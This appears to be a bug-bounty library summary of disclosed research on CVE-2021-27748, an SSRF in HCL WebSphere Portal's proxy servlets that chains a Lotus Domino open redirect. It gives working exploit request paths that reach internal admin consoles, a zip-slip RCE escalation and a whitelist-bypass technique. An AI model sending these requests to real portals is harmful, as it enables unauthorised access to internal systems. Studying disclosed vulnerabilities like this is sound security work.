# Turning bad SSRF to good SSRF: Websphere Portal (CVE-2021-27748)

Default proxy servlets in HCL WebSphere Portal whitelist only IBM sites, but a Lotus Domino open redirect on redbooks.ibm.com turns the restricted SSRF into full-read SSRF.

- Payout: Research
- Severity: high
- Program: HCL WebSphere Portal
- Credited: Assetnote
- Disclosed: 2024-01-31
- CVE: CVE-2021-27748
- Write-up quality: 8/10
- Original: https://www.assetnote.io/resources/research/turning-bad-ssrf-to-good-ssrf-websphere-portal-cve-2021-27748
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-turning-bad-ssrf-to-good-ssrf-websphere-portal-cve-2021-27748
- Tags: domain:web impact:internal-access impact:rce kind:research platform:research sev:high tech:java technique:chained technique:source-review vuln:open-redirect vuln:path-traversal vuln:ssrf

**Target:** Java enterprise portal proxy servlets (/wps/proxy, /docpicker/internal_proxy, PA_WCM_Authoring_UI)
**Root cause:** Default-deployed proxy-config.xml servlets proxy requests to a whitelist of IBM domains; the whitelisted redbooks.ibm.com runs Lotus Domino whose ?Logout&RedirectTo= parameter redirects to arbitrary URLs, and the proxy follows redirects.
**Steps:**
1. Run `docker run -p 127.0.0.1:30015:30015 ibmcom/websphere-portal:latest`
2. Extract and decompile JARs: `find . -name '*.jar' -exec tar rf /tmp/out.tar {} \;` then procyon-decompiler
3. Grep for servlet mappings and `find . -name proxy-config.xml` to enumerate proxy routes
4. Confirm restricted SSRF: `GET /wps/proxy/http/www.redbooks.ibm.com/...`
5. Verify redirect gadget: `http://www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com`
6. Chain: `GET /wps/proxy/http/www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?Logout&RedirectTo=http://example.com`
7. Variant full-read SSRF: `GET /docpicker/internal_proxy/https/127.0.0.1:9043/ibm/console`
8. Variant arbitrary method/body: `GET/POST /wps/PA_WCM_Authoring_UI/proxy/http/example.com`
**How found:** Decompiled vendor JARs from a Docker image, grepped servlet mappings, spotted a default proxy limited to IBM domains, then read ancient Lotus Domino docs on sign-on/sign-out flows to find the RedirectTo open redirect on the whitelisted host.
**Exploitation:** Attacker sends a request to a default proxy servlet with the whitelisted redbooks.ibm.com path plus ?Logout&RedirectTo=<target>; the proxy follows the Domino redirect to any internal URL (e.g. 127.0.0.1:9043 admin console), returning the full response body and headers. The PA_WCM_Authoring_UI proxy allows arbitrary methods and forwards Authorization/Set-Cookie headers.
**Escalation:** Attempted chain to XXE via IBM Knowledge Centre /api/webfeed on port 9043, but the endpoint was deprecated in newer versions; post-auth RCE via zip-slip upload of ifcfg script to /etc/sysconfig/network-scripts.
**Insight:** When an SSRF is restricted by a host whitelist, check whether any whitelisted host runs a legacy product (Lotus Domino, Gravatar, wp.com) with a documented redirect parameter like ?Logout&RedirectTo=; smuggle it as the path so the proxy follows the redirect to internal targets.